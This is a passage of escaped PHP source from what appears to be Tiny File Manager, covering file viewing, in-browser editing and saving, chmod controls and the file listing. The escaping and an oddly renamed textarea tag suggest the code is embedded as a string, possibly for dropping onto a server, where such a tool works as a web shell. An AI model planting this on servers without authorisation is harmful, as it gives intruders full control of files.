    $file = str_replace(\'/\', \'\', $file);
    if ($file == \'\' || !is_file($path . \'/\' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng(\'File not found\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file);
    $file_path = $path . \'/\' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = \'File\';
    $filenames = false; // for zip
    $content = \'\'; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== \'false\' && in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == \'zip\' || $ext == \'tar\') {
        $is_zip = true;
        $view_title = \'Archive\';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = \'Image\';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = \'Audio\';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = \'Video\';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == \'text\' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path[\'label\']; ?>:</strong> <?php echo $display_path[\'path\']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn[\'folder\']) {
                            $total_files++;
                        }
                        $total_comp += $fn[\'compressed_size\'];
                        $total_uncomp += $fn[\'filesize\'];
                    }
                    ?>
                    <?php echo lng(\'Files in archive\') ?>: <?php echo $total_files ?><br>
                    <?php echo lng(\'Total size\') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng(\'Size in archive\') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng(\'Compression\') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo \'<strong>\'.lng(\'Image size\').\':</strong> \' . (isset($image_size[0]) ? $image_size[0] : \'0\') . \' x \' . (isset($image_size[1]) ? $image_size[1] : \'0\') . \'<br>\';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists(\'iconv\')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $content);
                        }
                    }
                    echo \'<strong>\'.lng(\'Charset\').\':</strong> \' . ($is_utf8 ? \'utf-8\' : \'8 bit\') . \'<br>\';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng(\'Download\') ?></button> 
                </form>
                <b class="ms-2"><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng(\'Open\') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng(\'UnZip\') ?></button>
                    </form>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng(\'UnZipToFolder\') ?></button>
                    </form>
                    <?php
                }
                if ($is_text && !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng(\'Edit\') ?>
                        </a></b> 
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng(\'AdvancedEditor\') ?>
                        </a></b> 
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng(\'Back\') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == \'google\') {
                    echo \'<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=\' . fm_enc($file_url) . \'" frameborder="no" style="width:100%;min-height:460px"></iframe>\';
                } else if($online_viewer == \'microsoft\') {
                    echo \'<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=\' . fm_enc($file_url) . \'" frameborder="no" style="width:100%;min-height:460px"></iframe>\';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo \'<code class="maxheight">\';
                    foreach ($filenames as $fn) {
                        if ($fn[\'folder\']) {
                            echo \'<b>\' . fm_enc($fn[\'name\']) . \'</b><br>\';
                        } else {
                            echo $fn[\'name\'] . \' (\' . fm_get_filesize($fn[\'filesize\']) . \')<br>\';
                        }
                    }
                    echo \'</code>\';
                } else {
                    echo \'<p>\'.lng(\'Error while fetching archive info\').\'</p>\';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array(\'gif\', \'jpg\', \'jpeg\', \'png\', \'bmp\', \'ico\', \'svg\', \'webp\', \'avif\'))) {
                    echo \'<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="\' . fm_enc($file_url) . \'" alt="image" class="preview-img"></label></p>\';
                }
            } elseif ($is_audio) {
                // Audio content
                echo \'<p><audio src="\' . fm_enc($file_url) . \'" controls preload="metadata"></audio></p>\';
            } elseif ($is_video) {
                // Video content
                echo \'<div class="preview-video"><video src="\' . fm_enc($file_url) . \'" width="640" height="360" controls preload="metadata"></video></div>\';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        \'shtml\' => \'xml\',
                        \'htaccess\' => \'apache\',
                        \'phtml\' => \'php\',
                        \'lock\' => \'json\',
                        \'svg\' => \'xml\',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? \'lang-\' . $hljs_classes[$ext] : \'lang-\' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match(\'#\.min\.(css|js)$#i\', $file)) {
                        $hljs_class = \'nohighlight\';
                    }
                    $content = \'<pre class="with-hljs"><code class="\' . $hljs_class . \'">\' . fm_enc($content) . \'</code></pre>\';
                } elseif (in_array($ext, array(\'php\', \'php4\', \'php5\', \'phtml\', \'phps\'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = \'<pre>\' . fm_enc($content) . \'</pre>\';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET[\'edit\']) && !FM_READONLY) {
    $file = $_GET[\'edit\'];
    $file = fm_clean_path($file, false);
    $file = str_replace(\'/\', \'\', $file);
    if ($file == \'\' || !is_file($path . \'/\' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng(\'File not found\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }
    $editFile = \' : <i><b>\'. $file. \'</b></i>\';
    header(\'X-XSS-Protection:0\');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file);
    $file_path = $path . \'/\' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET[\'env\'])) {
        if ($_GET[\'env\'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST[\'savedata\'])) {
        $writedata = $_POST[\'savedata\'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng(\'File Saved Successfully\'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = \'\'; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == \'text\' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng(\'Fullscreen\') ?>"><i class="fa fa-expand" title="<?php echo lng(\'Fullscreen\') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng(\'Search\') ?>"><i class="fa fa-search" title="<?php echo lng(\'Search\') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng(\'Undo\') ?>"><i class="fa fa-undo" title="<?php echo lng(\'Undo\') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng(\'Redo\') ?>"><i class="fa fa-repeat" title="<?php echo lng(\'Redo\') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng(\'Word Wrap\') ?>"><i class="fa fa-text-width" title="<?php echo lng(\'Word Wrap\') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng(\'Select Document Type\') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng(\'Select Mode\') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng(\'Select Theme\') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng(\'Select Theme\') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng(\'Select Font Size\') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng(\'Select Font Size\') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng(\'Back\') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng(\'Back\') ?></a>
                <a title="<?php echo lng(\'BackUp\') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup(\'<?php echo urlencode(trim(FM_PATH)) ?>\',\'<?php echo urlencode($file) ?>\')"><i class="fa fa-database"></i> <?php echo lng(\'BackUp\') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng(\'AdvancedEditor\') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,\'nrl\')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng(\'NormalEditor\') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,\'ace\')"><i class="fa fa-floppy-o"></i> <?php echo lng(\'Save\') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo \'<textareapopojicms class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">\' . htmlspecialchars($content) . \'</textareapopojicms>\';
            echo \'<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  && e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>\';
        } elseif ($is_text) {
            echo \'<div id="editor" contenteditable="true">\' . htmlspecialchars($content) . \'</div>\';
        } else {
            fm_set_msg(lng(\'FILE EXTENSION HAS NOT SUPPORTED\'), \'error\');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET[\'chmod\']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET[\'chmod\'];
    $file = fm_clean_path($file);
    $file = str_replace(\'/\', \'\', $file);
    if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {
        fm_set_msg(lng(\'File not found\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file;
    $file_path = $path . \'/\' . $file;

    $mode = fileperms($path . \'/\' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng(\'ChangePermissions\') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path[\'label\']; ?>: <?php echo $display_path[\'path\']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng(\'Owner\') ?></b></td>
                            <td><b><?php echo lng(\'Group\') ?></b></td>
                            <td><b><?php echo lng(\'Other\') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng(\'Read\') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? \' checked\' : \'\' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? \' checked\' : \'\' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? \' checked\' : \'\' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng(\'Write\') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? \' checked\' : \'\' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? \' checked\' : \'\' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? \' checked\' : \'\' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng(\'Execute\') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? \' checked\' : \'\' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? \' checked\' : \'\' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? \' checked\' : \'\' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng(\'Cancel\') ?></a></b>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng(\'Change\') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// --- TINYFILEMANAGER MAIN ---
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// show alert messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng(\'Name\') ?></th>
                <th><?php echo lng(\'Size\') ?></th>
                <th><?php echo lng(\'Modified\') ?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng(\'Perms\') ?></th>
                    <th><?php echo lng(\'Owner\') ?></th><?php endif; ?>
                <th><?php echo lng(\'Actions\') ?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . \'/\' . $f);
                $img = $is_link ? \'icon-link_folder\' : \'fa fa-folder-o\';
                $modif_raw = filemtime($path . \'/\' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng(\'Folder\');
                $perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);
                if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {
                    $owner = posix_getpwuid(fileowner($path . \'/\' . $f));
                    $group = posix_getgrgid(filegroup($path . \'/\' . $f));
                    if ($owner === false) {
                        $owner = array(\'name\' => \'?\');
                    }
                    if ($group === false) {
                        $group = array(\'name\' => \'?\');
                    }
                } else {
                    $owner = array(\'name\' => \'?\');
                    $group = array(\'name\' => \'?\');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? \'  <i>\' . readlink($path . \'/\' . $f) . \'</i>\' : \'\') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner[\'name\'] . \':\' . $group[\'name\'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng(\'Delete\')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, \'1028\',\'<?php echo lng(\'Delete\').\' \'.lng(\'Folder\'); ?>\',\'<?php echo urlencode($f) ?>\', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng(\'Rename\')?>" href="#" onclick="rename(\'<?php echo fm_enc(addslashes(FM_PATH)) ?>\', \'<?php echo fm_enc(addslashes($f)) ?>\');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng(\'CopyTo\')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng(\'DirectLink\')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f . \'/\') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . \'/\' . $f);
                $img = $is_link ? \'fa fa-file-text-o\' : fm_get_file_icon_class($path . \'/\' . $f);
                $modif_raw = filemtime($path . \'/\' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . \'/\' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = \'?p=\' . urlencode(FM_PATH) . \'&view=\' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . \'/\' . $f)), -4);
                if (function_exists(\'posix_getpwuid\') && function_exists(\'posix_getgrgid\')) {
                    $owner = posix_getpwuid(fileowner($path . \'/\' . $f));
                    $group = posix_getgrgid(filegroup($path . \'/\' . $f));
                    if ($owner === false) {
                        $owner = array(\'name\' => \'?\');
                    }
                    if ($group === false) {
                        $group = array(\'name\' => \'?\');
                    }
                } else {
                    $owner = array(\'name\' => \'?\');
                    $group = array(\'name\' => \'?\');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_enc($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array(\'gif\', \'jpg\', \'jpeg\', \'png\', \'bmp\', \'ico\', \'svg\', \'webp\', \'avif\'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                                </a>
                                <?php echo($is_link ? \'  <i>\' . readlink($path . \'/\' . $f) . \'</i>\' : \'\') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf(\'%s bytes\', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo \'Change Permissions\' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner[\'name\'] . \':\' . $group[\'name\']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng(\'Delete\') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, \'<?php echo lng(\'Delete\').\' \'.lng(\'File\'); ?>\',\'<?php echo urlencode($f); ?>\', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng(\'Rename\') ?>" href="#" onclick="rename(\'<?php echo fm_enc(addslashes(FM_PATH)) ?>\', \'<?php echo fm_enc(addslashes($f)) ?>\');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng(\'CopyTo\') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng(\'DirectLink\') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng(\'Download\') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, \'<?php echo lng(\'Download\'); ?>\',\'<?php echo urlencode($f); ?>\', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? \'6\' : \'4\' ?>"><em><?php echo lng(\'Folder is empty\') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? (FM_READONLY ? \'6\' :\'7\') : (FM_READONLY ? \'4\' : \'5\') ?>">
                            <?php echo lng(\'FullSize\').\': <span class="badge text-bg-light border-radius-0">\'.fm_get_filesize($all_files_size).\'</span>\' ?>
                            <?php echo lng(\'File\').\': <span class="badge text-bg-light border-radius-0">\'.$num_files.\'</span>\' ?>
                            <?php echo lng(\'Folder\').\': <span class="badge text-bg-light border-radius-0">\'.$num_folders.\'</span>\' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng(\'SelectAll\') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng(\'UnSelectAll\') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng(\'InvertSelection\') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm(\'<?php echo lng(\'Delete selected files and folders?\'); ?>\')">
